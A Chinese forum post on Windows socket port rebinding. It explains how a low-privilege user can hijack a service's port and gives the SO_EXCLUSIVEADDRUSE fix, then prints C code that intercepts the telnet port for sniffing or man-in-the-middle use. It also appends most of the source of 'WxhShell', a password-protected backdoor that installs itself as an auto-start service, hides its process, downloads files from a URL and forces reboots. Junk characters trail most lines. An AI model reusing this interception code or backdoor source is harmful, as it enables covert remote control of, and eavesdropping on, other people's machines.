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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &Z?ut *%S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ET];%~ ^  
flgRpXt  
  saddr.sin_family = AF_INET; $BmmNn#  
0q\7C[R_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4 g. bR  
!EQ@#qW/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @Mvd'.r<;  
?OdJqw0,G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q2:K 4  
wB>r (xQ'  
  这意味着什么?意味着可以进行如下的攻击: d3^OEwe  
)5fQ$<(Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,&U4a1%i#c  
rwIe qV{:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7kKy\W  
^w~23g.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8vk..!7n}  
H;aYiy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j'i0*"x  
>\ST-7[^L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Da$r`  
`IINq{Zk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,%bhyww<  
V Cy5JH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fQ>4MKLw=d  
B~'MBBD"  
  #include AGA`fRVx  
  #include TST4Vy3  
  #include ]<DNo&fw  
  #include    *sQcg8{^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {J/I-=CmML  
  int main() 8 6QE /M  
  { ~{>?*Gd&T  
  WORD wVersionRequested; 4\.V   
  DWORD ret; /RLq>#:h**  
  WSADATA wsaData; Y<\^ 7\[x  
  BOOL val; Rd+P,PO  
  SOCKADDR_IN saddr; pO<-.,  
  SOCKADDR_IN scaddr; *5$&`&,  
  int err; 6`\]derSon  
  SOCKET s; h06ku2Q  
  SOCKET sc; ,G^[o,hS  
  int caddsize; ~fz[x9\  
  HANDLE mt; Ja]o GT=e  
  DWORD tid;   7=4A;Ybq  
  wVersionRequested = MAKEWORD( 2, 2 ); [-*F"}D,  
  err = WSAStartup( wVersionRequested, &wsaData ); k6IG+:s  
  if ( err != 0 ) { ~$O1`IT  
  printf("error!WSAStartup failed!\n"); 5TBI<K  
  return -1; LE?u`i,e=+  
  } D y6$J3 r  
  saddr.sin_family = AF_INET; &ntBU]< q  
   Ccfwax+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zvv:dC/p<  
BH0!6Oq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SP 2 8  
  saddr.sin_port = htons(23); . ,NB( s`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ApPy]IdwX  
  { <2  
  printf("error!socket failed!\n"); rlok%Rt4Z  
  return -1; YTY%#"  
  } aj|5 #  
  val = TRUE; `!\ivIi^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >3;^l/2c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o%(bQV-T  
  { EiV=RdL  
  printf("error!setsockopt failed!\n"); mp `PE=  
  return -1; i8V0Ty4~N  
  } m^!Sv?hV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t \5c@j p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  0V11#   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AvRcS]@=  
_^uc 0=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <4F7@q, V  
  { cV$lobqO  
  ret=GetLastError(); "!&B4  
  printf("error!bind failed!\n"); #-x@"+z  
  return -1; \v`#|lT$  
  } t/:w1rw  
  listen(s,2); `ENP=kL(+  
  while(1) m^$5K's&  
  { HY;oy(  
  caddsize = sizeof(scaddr); (:?&G9k "  
  //接受连接请求 X7cWgo66T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dt-K  
  if(sc!=INVALID_SOCKET) GEE ]Kr  
  { NM L|"R;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (DJvi6\H  
  if(mt==NULL) J9@}DB  
  { 7~.ZE   
  printf("Thread Creat Failed!\n"); i>Iee^_(  
  break; Qyj(L[KJ  
  } _'JRo%{xGX  
  } F!CAitxd  
  CloseHandle(mt); ZO7bSxAN-  
  } :GL7J6  
  closesocket(s); k/#M<z  
  WSACleanup(); }'`xu9<  
  return 0; <ZrFOb  
  }   WFh@%j  
  DWORD WINAPI ClientThread(LPVOID lpParam) PRp E$`WK  
  { =x4a~=HX  
  SOCKET ss = (SOCKET)lpParam; a;&}zcc*  
  SOCKET sc; _<u;4RO(s  
  unsigned char buf[4096]; >ITEd  
  SOCKADDR_IN saddr; 4g!7 4a  
  long num; "A7<XN<  
  DWORD val; G7Ny"{Z  
  DWORD ret; G;2[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R9=K(pOT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H XP;0B%4  
  saddr.sin_family = AF_INET; =, TSMV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \1{_lynD  
  saddr.sin_port = htons(23); #7C6yXb%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N?^_=KE@  
  { QRagz, c  
  printf("error!socket failed!\n"); >t,O2~  
  return -1; @H4wHlb  
  } ^?sSx!:bZ  
  val = 100; iPkT*Cl8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >Qk97we'9  
  { ecT]p  
  ret = GetLastError(); HqRCjD  
  return -1; uH] m]t  
  } |YXG(;-BS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7yUvL8p-  
  { i]@c.Q iFN  
  ret = GetLastError(); q06@SD$   
  return -1; p`L L   
  } ;Lqm#]C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )=Y-f?o!  
  { yW:AVqE)t  
  printf("error!socket connect failed!\n"); 8ur_/h7  
  closesocket(sc); Pd,!&  
  closesocket(ss); P8u"T!G  
  return -1; T5V$wmB\W  
  } pdy+h{]3  
  while(1) Qv74?B@  
  { E~qK&7+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :g/{(#E@Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 . *Z#cq0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qm~Kw!kV  
  num = recv(ss,buf,4096,0); 1k`|[l^  
  if(num>0) HK? Foo?  
  send(sc,buf,num,0); ?SB5b,  
  else if(num==0) 75PS^5T,  
  break; ?9CIWpGjU  
  num = recv(sc,buf,4096,0); Km%8Yw0+  
  if(num>0) cx<h_  
  send(ss,buf,num,0); Aw5K3@Ltz  
  else if(num==0) NCp%sGBmG  
  break; PaA6Z":  
  } p+!f(H  
  closesocket(ss); QK,=5~IJ  
  closesocket(sc); Z#%}K Z  
  return 0 ; eO~eu]r  
  } 5BZ+b_A>VV  
T$f:[ye]Z  
"hJ7 Vv_  
========================================================== e3G7K8  
6_x}.bkIx=  
下边附上一个代码,,WXhSHELL }7otuO(pRo  
2J1B$.3'  
========================================================== ^V_ku@DY  
Q=dw 6  
#include "stdafx.h" !>?4[|?n<  
hYs82P|2Ol  
#include <stdio.h>  ?L`MFR  
#include <string.h> xq8}6Q  
#include <windows.h> 02;f2;I  
#include <winsock2.h> ': 5Trx  
#include <winsvc.h> MYKs??]Y1  
#include <urlmon.h> (K!M*d+  
qQwJJjf  
#pragma comment (lib, "Ws2_32.lib") L.R"~3  
#pragma comment (lib, "urlmon.lib") 5)h+(u C3  
`M towXj  
#define MAX_USER   100 // 最大客户端连接数 u Zo]8mV  
#define BUF_SOCK   200 // sock buffer :Bdipc  
#define KEY_BUFF   255 // 输入 buffer WK/b=p|#o  
%g2/ o^c*  
#define REBOOT     0   // 重启 ^Tb}]aHg  
#define SHUTDOWN   1   // 关机 z_5rAlnwT.  
1jR=h7^=  
#define DEF_PORT   5000 // 监听端口 Lg\8NtP   
|?4~T:  
#define REG_LEN     16   // 注册表键长度 .aVHd<M  
#define SVC_LEN     80   // NT服务名长度 F5 :2TEA  
P2A]qX  
// 从dll定义API R!:eYoQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tuL\7 (R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bW,BhUb,|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }3 fLV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B]+7 JB  
~ z-?rW  
// wxhshell配置信息 Fjb4BdZ P  
struct WSCFG { IG2`9rR  
  int ws_port;         // 监听端口 ~Hp#6+  
  char ws_passstr[REG_LEN]; // 口令 $9LGdKZ_D  
  int ws_autoins;       // 安装标记, 1=yes 0=no {ziYd;Ys1  
  char ws_regname[REG_LEN]; // 注册表键名 Cy`<^_i  
  char ws_svcname[REG_LEN]; // 服务名 =|j*VF2y"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VuJfo9 `E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zpn*XG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 op.PS{_t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q{ |+ 3!!'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pl>nd)i`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xy3g(x]  
!9ceCnwbNN  
};  8o%<.]   
~:ub  
// default Wxhshell configuration &k%wOz1vM  
struct WSCFG wscfg={DEF_PORT, 2ZTyo7P  
    "xuhuanlingzhe", #Of<1  
    1, #2ZrdD"5kQ  
    "Wxhshell", ;:8jxkx6%  
    "Wxhshell", e$p1Th*|]4  
            "WxhShell Service", Sh~ 8jEk  
    "Wrsky Windows CmdShell Service", JWUv H  
    "Please Input Your Password: ", }QApeZd+q  
  1, FEm1^X#]  
  "http://www.wrsky.com/wxhshell.exe", On2Vf*G@|  
  "Wxhshell.exe" P@! Q1pr  
    }; sTYuwna~   
O;&yA<  
// 消息定义模块 Rpa A)R,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $@ T6g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )+Y\NO?O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6a2w-}Fs  
char *msg_ws_ext="\n\rExit."; V;[ __w  
char *msg_ws_end="\n\rQuit."; mTb2d?NS  
char *msg_ws_boot="\n\rReboot..."; w'5dk3$"  
char *msg_ws_poff="\n\rShutdown..."; CwH)6uA  
char *msg_ws_down="\n\rSave to "; O)=73e\  
fd,}YAiX  
char *msg_ws_err="\n\rErr!"; Gr"2G,,VI  
char *msg_ws_ok="\n\rOK!"; LNyL>VHkK  
Q%AS ;(d  
char ExeFile[MAX_PATH]; >m;|I/2@  
int nUser = 0; 7Da^Jv k  
HANDLE handles[MAX_USER]; ;|2;kvf"w  
int OsIsNt; %;"B;~  
CpP$HrQ  
SERVICE_STATUS       serviceStatus; 4o)\DB?!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oN1wrf}Sh  
CB{k;H  
// 函数声明 +2k|g2  
int Install(void); 61eKGcjs:  
int Uninstall(void); |]]pHC_/W  
int DownloadFile(char *sURL, SOCKET wsh); Ig?.*j ]  
int Boot(int flag); XM5;AcD  
void HideProc(void); w3]0 !) t1  
int GetOsVer(void); DT7-v4Zd  
int Wxhshell(SOCKET wsl); &oK/ ]lub  
void TalkWithClient(void *cs); GO:1 Z?^  
int CmdShell(SOCKET sock); >aanLLO  
int StartFromService(void); WHD/s  
int StartWxhshell(LPSTR lpCmdLine); Pi]s<3PL  
Lh9>8@ jf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iR}i42Cu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DHujpZXQ  
VkP:%-*#v  
// 数据结构和表定义 Iy1X nS*  
SERVICE_TABLE_ENTRY DispatchTable[] = G~$M"@Q7N  
{ 2" {]A;@  
{wscfg.ws_svcname, NTServiceMain}, K&a]pL6D  
{NULL, NULL} O'sr[  
}; RT+30Q?  
'r?HL;,q  
// 自我安装 t%YX-@  
int Install(void) pfn#~gC_=  
{ X=c ,`&^  
  char svExeFile[MAX_PATH]; '8pPGh9D  
  HKEY key; H/la'f#o%  
  strcpy(svExeFile,ExeFile); 6Bq2?;5  
+q, n}@y=  
// 如果是win9x系统,修改注册表设为自启动 M0IqQM57N  
if(!OsIsNt) { 9oau _Q#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +nyN+X34B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )+{omQ7v  
  RegCloseKey(key); KL\=:iWA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L"vG:Mq@D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [,?A$Z*Z|  
  RegCloseKey(key); BMsy}08dQ  
  return 0; Q_|S^hx Q  
    } %<*pM@  
  } Q\>SF  
} SVEA  
else { ]=XL9MI  
&\D<n; 3  
// 如果是NT以上系统,安装为系统服务 D2*Q1n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jE5 9h  
if (schSCManager!=0) &#\7w85$  
{ ?j$8Uy$$  
  SC_HANDLE schService = CreateService 27i<6PAC[A  
  ( cw-JGqLx  
  schSCManager, &IPK5o,  
  wscfg.ws_svcname, kk./-G  
  wscfg.ws_svcdisp, bIl0rx[`  
  SERVICE_ALL_ACCESS, ^|12~d_.T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZjbG&oc  
  SERVICE_AUTO_START, #UnO~IE.m$  
  SERVICE_ERROR_NORMAL, #:5g`Ch4,  
  svExeFile, [B;Ek \5W  
  NULL, F"? *@L  
  NULL, ^9~%=k=  
  NULL, c] 9CN  
  NULL, 'Bn_'w~j{  
  NULL HQj4h]O#  
  );  0 9'o  
  if (schService!=0) pY5HW2TsY|  
  { ^7<mlr  
  CloseServiceHandle(schService); -.3k vL  
  CloseServiceHandle(schSCManager); 3$f5][+U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 90k|u'ikOp  
  strcat(svExeFile,wscfg.ws_svcname); kF~e3A7C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &=O1Qg=K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d(tf: @  
  RegCloseKey(key); 4gt "dfy+  
  return 0; eC:Q)%$%l  
    } C8zeqS^N  
  } 3Ya6yz  
  CloseServiceHandle(schSCManager); hds4 _  
} @a3v[}c*  
} Pu*UZcXY  
#$T"QL@  
return 1; f=Y9a$.:M  
} y{P9k8v!z  
!9OgA  
// 自我卸载 7u0R=q  
int Uninstall(void) hvZR4|k>  
{ @x ]^blq  
  HKEY key; ?E@[~qq_  
;itg>\ p3  
if(!OsIsNt) { nL~ b   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /hR]aw  
  RegDeleteValue(key,wscfg.ws_regname); xGk4KcxKs  
  RegCloseKey(key); mSeN M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N'.+ezZ;h  
  RegDeleteValue(key,wscfg.ws_regname); h%e!f#  
  RegCloseKey(key); izo $0  
  return 0; be@uHikp;v  
  } zjE4v-H:l  
} :N:8O^D^<  
} ,KaWP  
else { oPZ4}>uV  
sR nMBW.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KK|Jach  
if (schSCManager!=0) VHNiTp  
{ 4+bsG6i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @U5>w\  
  if (schService!=0) Z_+No :F7I  
  { E+ 20->  
  if(DeleteService(schService)!=0) { pBLO  
  CloseServiceHandle(schService); _gh7_P^H=d  
  CloseServiceHandle(schSCManager); Z8UM0B=i  
  return 0; gu&oCT  
  } #IDCCD^1=  
  CloseServiceHandle(schService); D3ad2vH  
  } < Ifnf 6~  
  CloseServiceHandle(schSCManager); e vuP4-[y  
} ?>&Zm$5V  
} g7i6Yj1  
~V)E:(  
return 1; bux-t3g7+  
} p7er04/}\  
Bs}>#I  
// 从指定url下载文件 o5R40["  
int DownloadFile(char *sURL, SOCKET wsh) O!tD1^O!1}  
{ <^{:K`  
  HRESULT hr; 5;Xrf=  
char seps[]= "/"; SGm? "esEt  
char *token; W[s>TDc`v  
char *file;  sd%~pY}  
char myURL[MAX_PATH]; FO$Tn+\6  
char myFILE[MAX_PATH]; 67?5Cv  
`m^OnH  
strcpy(myURL,sURL); pkx>6(Y  
  token=strtok(myURL,seps); d .A0(*k,  
  while(token!=NULL) v!Z9T  
  { KG$2u:n  
    file=token; (i8 t^  
  token=strtok(NULL,seps); 1S.~-K*X  
  } -yeT$P&|  
.&y1gh!=  
GetCurrentDirectory(MAX_PATH,myFILE); m@ YL Z  
strcat(myFILE, "\\"); 3 6 ;hg #  
strcat(myFILE, file); CCV~nf  
  send(wsh,myFILE,strlen(myFILE),0); M %~kh"  
send(wsh,"...",3,0); ;H lv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g%trGW3{-  
  if(hr==S_OK) SCij5il%  
return 0; nP^$p C  
else 'Nh^SbD+_|  
return 1; ]_s]Q_+E  
jTnu! H2o  
} kN)ev?pQ[  
Lg1Usy%  
// 系统电源模块 Xc!w y9m  
int Boot(int flag) 0*)79Sz  
{ `c(@WK4  
  HANDLE hToken; Y{KJk'xN5W  
  TOKEN_PRIVILEGES tkp; '&d4xc  
#=rR[:M  
  if(OsIsNt) { cc[w%jlA#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4tI~d8?pk+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VZ8L9h<{"  
    tkp.PrivilegeCount = 1; }1V&(#H2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XebCl{HHp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {Fj`'0Xu;  
if(flag==REBOOT) { (rJvE*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {8' 5  
  return 0; -Q; w4@  
} h>wU';5#f  
else { U&6f}=v C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E O5Vg  
  return 0; 6XP>p$-  
} v,jU9D \  
  } '&9b*u";x(  
  else { <W pz\U  
if(flag==REBOOT) { ,f$ RE6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R:Lu)d>=  
  return 0; Yr+&|;DB  
} "jSn`  
else { W;=ZQ5Lw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r* U6govky  
  return 0; _/Hu'9432  
} E~B LY{3:  
} FW2} 9#R  
B-RaAiE@  
return 1; *d=pK*g  
} u% FA.  
[Y[|:_+5  
// win9x进程隐藏模块 ,D8 Tca\v  
void HideProc(void) ZR1EtvVG  
{ WDcjj1`l  
J? C"be=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o\N),;LM  
  if ( hKernel != NULL ) PH6uP]  
  { R8HFyP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u!O)\m-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JH 8^ZP:d'  
    FreeLibrary(hKernel); c5JxKU_  
  } |.YL 2\  
hT<v8  
return; Na4\)({  
} #(OL!B  
.mMM]*e[0  
// 获取操作系统版本 \QVL%,.%M  
int GetOsVer(void) #jQITS7  
{ `,J\E<4J  
  OSVERSIONINFO winfo; "_lSw3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O[!]/qP+.  
  GetVersionEx(&winfo); 4v;/"4)'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9Z} -%Z[,)  
  return 1; \j4TDCs_[  
  else =m UtBD.;  
  return 0; \]zH M.E1  
} y:mXv<g  
 [5H#ay  
// 客户端句柄模块 06ZyR@.@v  
int Wxhshell(SOCKET wsl) Wh,p$|vL  
{ yTv#T(of  
  SOCKET wsh; v81<K*w`P  
  struct sockaddr_in client; zpJQ7hym  
  DWORD myID; }}<^f M  
Dc U$sf*  
  while(nUser<MAX_USER) -GH>12YP  
{ (m13 ong  
  int nSize=sizeof(client);  Hi#hf"V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k*J0K=U|  
  if(wsh==INVALID_SOCKET) return 1; Pa+%H]vB  
y-9Mm9J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?g}G#j  
if(handles[nUser]==0) 51xiX90D  
  closesocket(wsh); %AaZc=a[c  
else EjrK.|I0  
  nUser++; UZz/v#y~  
  } FG/1!8F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]v=A}}kS  
',P$m&z  
  return 0; jBb:)  
} 3%P<F>6 J  
8u6*;*o  
// 关闭 socket Zcjh  
void CloseIt(SOCKET wsh) mb,\wZ  
{ wNtC5  
closesocket(wsh); -%,=%FBi~4  
nUser--; ^VOFkUp)  
ExitThread(0); ]lqLC  
} WUrE1%u  
lha)4d  
// 客户端请求句柄 HAwdu1$8  
void TalkWithClient(void *cs) zncKd{Q\tP  
{ - ({h @  
$+w:W85B  
  SOCKET wsh=(SOCKET)cs; ia@ |+r  
  char pwd[SVC_LEN]; 6 dgwsl~  
  char cmd[KEY_BUFF]; `3g5n:"g\  
char chr[1]; #zRHYZc'T|  
int i,j; s@zO`uBc  
$7" Y/9Y  
  while (nUser < MAX_USER) { C~Hhi-Xl)  
U$|q]N  
if(wscfg.ws_passstr) { Q p7h|<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xpX<iT>5u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); __!LTpp  
  //ZeroMemory(pwd,KEY_BUFF); ;.'?(iEB  
      i=0; +-C.E  
  while(i<SVC_LEN) { ,?P<=M  
A3)"+`&PUl  
  // 设置超时 ":0u%E?s  
  fd_set FdRead; rGQ2 ve  
  struct timeval TimeOut; eR%\_;}7;  
  FD_ZERO(&FdRead); 0<7sM#sI!  
  FD_SET(wsh,&FdRead); &(oA/jFQ  
  TimeOut.tv_sec=8; ,Qx]_gZ`  
  TimeOut.tv_usec=0; k@ <dru  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); URceq2_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3Q'vVNFh<  
C$q};7b1N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FQJiLb._Z  
  pwd=chr[0]; @Ddz|4vEi  
  if(chr[0]==0xd || chr[0]==0xa) { Mgr?D  
  pwd=0; nfbR"E jXr  
  break; T%% 0W J  
  } ynv{ rMl  
  i++; fX]`vjM{  
    } VwpC UW  
qCg<g  
  // 如果是非法用户,关闭 socket EjL]#,QR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hw,nA2w\  
} rCwE$5 b  
m^!:n$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (P`=9+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c ef[T(>  
5mQ@&E~#W  
while(1) { 23P&n(.  
KF zI27r  
  ZeroMemory(cmd,KEY_BUFF); ||JUP}eP  
\o}T0YX  
      // 自动支持客户端 telnet标准   `Jk0jj6Z  
  j=0; kV+^1@"  
  while(j<KEY_BUFF) { Qn7T{ BW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .6P.r}  
  cmd[j]=chr[0]; ?OLd }8y  
  if(chr[0]==0xa || chr[0]==0xd) { KEtV  
  cmd[j]=0; uG^CyM>R`  
  break; RqgN<&g?  
  } tGgxID  
  j++; TY)QE  
    } U3X5tED  
4d`YZNvZW/  
  // 下载文件 c`soVqT$?  
  if(strstr(cmd,"http://")) { j@>D]j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !gve]>M  
  if(DownloadFile(cmd,wsh)) r|EN5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =SXdO)%2  
  else 2 ^m}5:0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g%&E~V/g$  
  } A#. %7S  
  else { &]DB-t#\  
@ j^R+F  
    switch(cmd[0]) { >\d&LLAe  
  <Z]#vr q  
  // 帮助 /?eVWCR  
  case '?': { T&lgWOls  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5dm~yQN/  
    break; _ocCt XI9  
  } 3[ xdls  
  // 安装 Ipk;Nq  
  case 'i': { _#u\ar)  
    if(Install()) 5EFt0?G   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Rkd;`Q`!  
    else 8M99cx*K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8:$h&aBI  
    break; jVQy{8{G  
    } 6Ijt2c'A}  
  // 卸载 Wef%f] u  
  case 'r': { +/ZIs|B4,z  
    if(Uninstall()) Y;/@[AwF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&s. 0+  
    else ,U~A=bsa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z&6_}{2,]  
    break;  k,:W]KD  
    } =SJ#6uFS  
  // 显示 wxhshell 所在路径 iH8we,s'  
  case 'p': { Az&>.*  
    char svExeFile[MAX_PATH]; eFG/!b<17  
    strcpy(svExeFile,"\n\r"); Ymz/:  
      strcat(svExeFile,ExeFile);  0k (-  
        send(wsh,svExeFile,strlen(svExeFile),0); l7|z]v-  
    break; .9bi%=hP  
    } 24 [KGp  
  // 重启 =W~7fs  
  case 'b': { !*-|!Vz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [d`E9&Hv3  
    if(Boot(REBOOT)) (/A.,8Ad  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]SQ+r*a  
    else { \Y4(+t=4  
    closesocket(wsh); ]3LLlXtK[  
    ExitThread(0); S%iK);  
    } _4by3?<c  
    break; M& ZKc  
    } !D=!  
  // 关机 ,Kv6!ib6Q  
  case 'd': { \n{# r`T  
